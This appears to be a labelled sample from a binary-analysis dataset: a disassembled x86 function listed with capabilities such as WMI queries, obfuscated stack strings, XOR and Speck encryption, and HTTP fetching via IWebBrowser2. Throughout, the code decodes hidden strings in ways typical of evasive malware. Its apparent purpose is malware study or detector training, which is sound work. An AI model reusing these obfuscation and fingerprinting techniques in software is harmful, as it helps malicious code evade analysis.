Function at 0x437fe0
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x44a4dc]
mov dword [esp + 0x10], eax
mov dword [esp + 0x58], 0x7776757c
xor ecx, ecx
mov edx, 0x2b
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x58]
lea eax, [ebx + ebx]
not eax
add eax, ebx
or eax, ecx
or eax, 0xd4
neg eax
add eax, ecx
add eax, 0xd3
not ebx
or ebx, edx
and ebx, eax
add bl, 0x60
mov byte [esp + ecx + 0x58], bl
inc ecx
dec edx
cmp ecx, 4
jne 0x438010
mov eax, dword [esp + 0x58]
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0xf0e10
mov edx, 0xbdc0ee25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx + 0x423f11df]
xor eax, edx
add eax, 0x11f88ed7
mov ecx, eax
and ecx, 1
or eax, 1
add eax, ecx
mov byte [esp + edx + 0x423f11df], al
inc edx
cmp edx, 0xbdc0ee29
jne 0x438060
mov edx, dword [esp + 4]
mov dword [esp + 0x14], 0xacf8aa8c
mov dword [esp + 0x18], 0xa0dcae24
mov dword [esp + 0x1c], 0xa4c6a2d5
mov dword [esp + 0x20], 0xb8e3a6d8
mov dword [esp + 0x24], 0xbcc2bacb
mov dword [esp + 0x28], 0xb0dabecb
mov dword [esp + 0x2c], 0xb4b3b294
mov esi, 0xa1
mov edi, 0x5f
nop
movzx ecx, byte [esp + esi - 0x8d]
mov ebx, esi
and ebx, ecx
lea eax, [edi + ebx*2]
add ebx, ebx
xor eax, ecx
not ebx
add ebx, esi
and ebx, ecx
add ebx, ebx
sub ebx, eax
add bl, 0xf8
mov byte [esp + esi - 0x8d], bl
inc esi
dec edi
cmp esi, 0xbd
jne 0x4380d0
lea esi, [esp + 0x74]
lea eax, [esp + 0x84]
lea ecx, [esp + 0x14]
push esi
push dword [esp + 0x10]
push eax
push edx
push ecx
push 0
call dword [esp + 0x28]
test eax, eax
jns 0x43820a
mov word [esp + 0x14], 0xe0ac
xor ecx, ecx
mov dl, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x14]
mov edi, 0x81ef7fa8
sub edi, ecx
mov eax, ecx
add eax, 0x57
xor eax, edi
and eax, esi
xor eax, edi
mov esi, eax
not esi
and esi, 0x47
xor eax, 0xb8
lea eax, [eax + esi*2]
inc al
mov byte [esp + ecx + 0x14], al
mov ecx, 1
xor eax, eax
test dl, 1
mov edx, 0
jne 0x438140
movzx ecx, word [esp + 0x14]
mov word [esp + 0x84], cx
mov word [esp + 0x14], 0xde97
mov cl, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0x14]
lea edx, [eax + 0x701c9375]
and edx, esi
add edx, edx
neg edx
add edx, eax
add edx, 0x701c9375
add edx, esi
mov esi, edx
not esi
or esi, 0x7f1b6457
add esi, edx
inc esi
mov ebx, esi
and ebx, 2
mov edi, esi
or esi, 2
imul esi, ebx
xor ebx, 2
and edi, 0xfd
imul edi, ebx
xor edx, 0x57
add edx, esi
add edx, edi
inc dl
mov byte [esp + eax + 0x14], dl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x4381a0
movzx eax, word [esp + 0x14]
mov word [esp + 0x86], ax
mov word [esp + 0x14], 0xe75a
xor eax, eax
mov cl, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
mov esi, eax
or esi, 0x2967cf56
mov edi, esi
and edi, edx
add edi, edi
mov ebx, 0xd69830a9
sub ebx, eax
and ebx, edi
not edi
and edi, esi
sub edx, ebx
add edx, edi
add edx, 0x5adb70a
mov esi, edx
and esi, 0x4f
xor edx, 0x4f
lea edx, [edx + esi*2]
add dl, 0xf7
mov byte [esp + eax + 0x14], dl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x438220
movzx eax, word [esp + 0x14]
mov word [esp + 0x88], ax
mov word [esp + 0x8a], 0
mov dword [esp + 0x80], 0x5ea25dce
mov dword [esp + 0x7c], 0x4424637b
mov dword [esp + 0x78], 0x14447
mov dword [esp + 0x74], 0x6d046f2a
mov dword [esp + 4], 0
lea eax, [esp + 4]
push eax
push 0x44167c
push 1
push 0
push 0x44168c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4387f2
mov dword [esp + 0x14], 0x77397526
mov dword [esp + 0x18], 0x7b2e7937
mov dword [esp + 0x1c], 0x7f3d7d20
mov dword [esp + 0x20], 0x430f4109
mov dword [esp + 0x24], 0x47344512
mov word [esp + 0x28], 0x4948
xor eax, eax
nop
movzx edx, byte [esp + eax + 0x14]
lea ecx, [eax + 0xd4]
mov esi, edx
and esi, 0x2d
xor esi, 0x9697f02d
mov edi, edx
xor edi, 0x9697f02d
or edx, 0xd2
and edx, edi
mov edi, 0x2b
sub edi, eax
and edi, 0x2d
and ecx, 0xd2
or ecx, edi
mov ebx, esi
xor ebx, edx
not edx
and edx, esi
add ebx, esi
sub ebx, edx
xor ebx, ecx
add bl, 0x60
mov byte [esp + eax + 0x14], bl
mov ecx, 0xf
sub ecx, eax
add eax, 0x30
and ecx, 0x2f
and eax, 0x50
sub eax, ecx
cmp eax, 0x16
jb 0x438300
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 4]
mov ecx, dword [eax]
lea edx, [esp + 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x4387e1
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x70]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4387d7
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], 0xea58e840
mov dword [esp + 0x18], 0xeeedec57
mov eax, 0x8f
mov ecx, 0x70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x7b]
lea esi, [edx + edx]
not esi
add esi, edx
or esi, ecx
or edx, eax
xor edx, esi
mov bl, 0x87
sub bl, dl
mov byte [esp + eax - 0x7b], bl
inc eax
dec ecx
cmp eax, 0x97
jne 0x4383e0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 0x14], 0x5d995ba9
mov dword [esp + 0x18], 0x41855f92
mov dword [esp + 0x1c], 0x45b04381
mov dword [esp + 0x20], 0x49624766
mov dword [esp + 0x24], 0x4d8a4b6a
mov dword [esp + 0x28], 0x71bf4fbc
mov dword [esp + 0x2c], 0x755473bf
mov dword [esp + 0x30], 0x79917781
mov dword [esp + 0x34], 0x7daf7b94
mov dword [esp + 0x38], 0x619f7fac
mov dword [esp + 0x3c], 0x65ad63a0
mov dword [esp + 0x40], 0x699b67a9
mov word [esp + 0x44], 0x6b6a
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa
xor cl, byte [esp + eax + 0x14]
add cl, 0xb0
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x32
jne 0x438480
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
lea edx, [esp + 0x70]
push edx
push 0
push 0x30
push ebx
push edi
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x4387c7
mov dword [esp + 0x68], 0
mov eax, dword [esp + 0x70]
mov ecx, dword [eax]
lea edx, [esp + 0x68]
lea esi, [esp + 0x6c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4387bd
cmp eax, 1
je 0x4387bd
cmp dword [esp + 0x68], 0
je 0x4387bd
mov dword [esp + 0x4c], ebx
mov dword [esp + 0xc], edi
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], 0x19bd17a5
mov dword [esp + 0x18], 0x1db51b88
mov dword [esp + 0x1c], 0x1ac1fbf
mov dword [esp + 0x20], 0x591034c
mov dword [esp + 0x24], 0x9aa07ab
mov dword [esp + 0x28], 0xd9e0baf
mov word [esp + 0x2c], 0xf0e
xor ecx, ecx
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x14]
mov esi, ecx
and esi, 4
mov edi, ecx
and edi, 2
mov ebx, edi
xor ebx, 2
imul ebx, esi
or esi, 2
imul esi, edi
mov edi, ecx
xor edi, 0xcfee3326
add edi, ebx
add edi, esi
xor edi, edx
add edi, 0xd55d998b
mov edx, edi
xor edx, 0x43
and edi, 0x43
lea edx, [edx + edi*2]
add dl, 2
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x1a
jne 0x438550
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x60]
push esi
push 0
lea edx, [esp + 0x24]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x4c]
js 0x4387ac
cmp word [esp + 0x58], 8
jne 0x4387ac
mov eax, dword [esp + 0x60]
movzx ecx, word [eax]
test cx, cx
je 0x43860d
mov edi, eax
add eax, 2
xor esi, esi
jmp 0x4385ec
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x438611
cmp cx, 0x7f
jbe 0x4385e0
movzx edx, cx
cmp edx, 0x7ff
ja 0x438602
add esi, 2
jmp 0x4385e1
cmp cx, 0xffff
je 0x4385e1
add esi, 3
jmp 0x4385e1
mov edi, eax
xor esi, esi
lea eax, [esi + 1]
push eax
call fcn.004080f0
add esp, 4
mov ecx, esi
mov dword [esp + 8], eax
mov esi, eax
mov dword [esp + 0x48], ecx
test ecx, ecx
je 0x438754
mov eax, edi
movzx edx, word [edi]
mov esi, dword [esp + 8]
test dx, dx
je 0x438754
mov ecx, dword [esp + 0x48]
mov esi, dword [esp + 8]
nop
nop
nop
nop
nop
movzx ebx, dx
lea edx, [eax + 2]
cmp bx, 0x7f
ja 0x438670
lea edi, [esi + 1]
mov byte [esi], bl
jmp 0x438700
cmp ebx, 0x7ff
ja 0x438694
cmp ecx, 2
jb 0x438694
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [esi], al
and bl, 0x3f
or bl, 0x80
lea edi, [esi + 2]
mov byte [esi + 1], bl
jmp 0x438700
mov edi, eax
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x43871a
cmp ecx, 4
jb 0x43871a
mov dword [esp + 0x50], edi
movzx edx, word [edi + 2]
shl ebx, 0xa
lea eax, [ebx + edx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, eax
shr ebx, 0xc
mov edi, ebx
xor edi, 0xc0
or ebx, 0x3f
and ebx, edi
add bl, 0x80
mov byte [esi + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 2], al
mov eax, dword [esp + 0x50]
add eax, 4
and dl, 0x3f
or dl, 0x80
mov byte [esi + 3], dl
lea edi, [esi + 4]
mov edx, eax
nop
nop
nop
add ecx, esi
sub ecx, edi
mov eax, edx
mov esi, edi
movzx edx, word [eax]
test dx, dx
je 0x438754
test ecx, ecx
jne 0x438650
jmp 0x438754
movzx eax, ax
cmp eax, 0xdc00
jne 0x438728
mov eax, edx
jmp 0x438708
cmp ecx, 3
jb 0x438750
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [esi], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 1], al
and bl, 0x3f
or bl, 0x80
mov byte [esi + 2], bl
lea edi, [esi + 3]
jmp 0x438700
mov edi, esi
jmp 0x438700
mov byte [esi], 0
mov eax, 3
mov ecx, dword [esp + 0x48]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x43876c
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x4c]
lea esi, [esp + 0x58]
jb 0x438787
mov eax, 3
lea eax, [eax*4 + 4]
push eax
push dword [esp + 0xc]
lea eax, [esp + 0x7c]
push eax
call fcn.00408120
add esp, 0xc
push dword [esp + 8]
call fcn.00408100
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x70]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call esi
push ebx
call esi
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x4494d4]
call fcn.0043e140
add esp, 8
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
lea ecx, [esp + 0xa0]
push ecx
call eax
test eax, eax
mov esi, dword [ebp + 8]
je 0x43882f
mov eax, dword [esp + 0x14]
mov dword [esp + 0x74], eax
xor ebx, ebx
jmp 0x43884d
add esi, 8
inc ebx
cmp ebx, 4
je 0x4389c3
mov dword [esp + 0x10], esi
mov eax, 0
test ebx, ebx
je 0x438871
cmp dword [esp + ebx*4 + 0x74], 0
mov eax, ebx
jne 0x438871
mov ecx, ebx
not ecx
and ecx, 1
mov eax, ebx
and eax, 2
sub eax, ecx
mov dword [esp + 0xc], ebx
mov eax, dword [esp + eax*4 + 0x74]
mov dword [esp + 0x58], 0xcdf6330f
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x58]
mov esi, ecx
xor esi, 0x119fc8e5
mov edi, ecx
or edi, 2
and edi, esi
mov esi, ecx
xor esi, 0xee60371a
lea esi, [esi + edi*2]
xor esi, edx
mov edx, esi
and edx, 0x2f
add edx, edx
xor esi, 0xd0
sub edx, esi
mov byte [esp + ecx + 0x58], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 4
jb 0x438890
mov edx, dword [esp + 0x58]
mov ecx, eax
not ecx
mov dword [esp + 0x48], ecx
mov ecx, edx
not ecx
and ecx, eax
mov dword [esp + 0x50], ecx
mov ecx, edx
and ecx, eax
mov dword [esp + 8], edx
or eax, edx
imul eax, ecx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x14], 0x475520aa
mov dword [esp + 0x18], 0xb0bfbebd
mov edi, 0x31
mov ebx, 0xce
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi - 0x1d]
mov ecx, edx
not ecx
lea eax, [ecx + ecx]
mov esi, ebx
and esi, ecx
shl ecx, 8
sub ecx, eax
sub ecx, edx
add ecx, 0xfe
and ecx, edi
xor ecx, esi
mov al, 0x77
sub al, cl
mov byte [esp + edi - 0x1d], al
inc edi
dec ebx
cmp edi, 0x39
jne 0x438920
mov eax, dword [esp + 8]
and eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x50]
imul ecx, eax
mov eax, dword [esp + 0x4c]
add eax, ecx
add eax, dword [esp + 0x14]
mov ebx, dword [esp + 0xc]
mov dword [esp + ebx*4 + 0x74], eax
mov edi, 0xffffffff
push 0x10
push 9
mov esi, dword [esp + 0x18]
push esi
push eax
call fcn.0041efc0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x438990
mov ecx, edi
and ecx, 0xfffffff7
not edi
and edi, 8
mov edx, edi
sub edx, ecx
je 0x438840
sub ecx, edi
add eax, ecx
push edx
push 0x30
push eax
call fcn.00408170
add esp, 0xc
jmp 0x438840
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret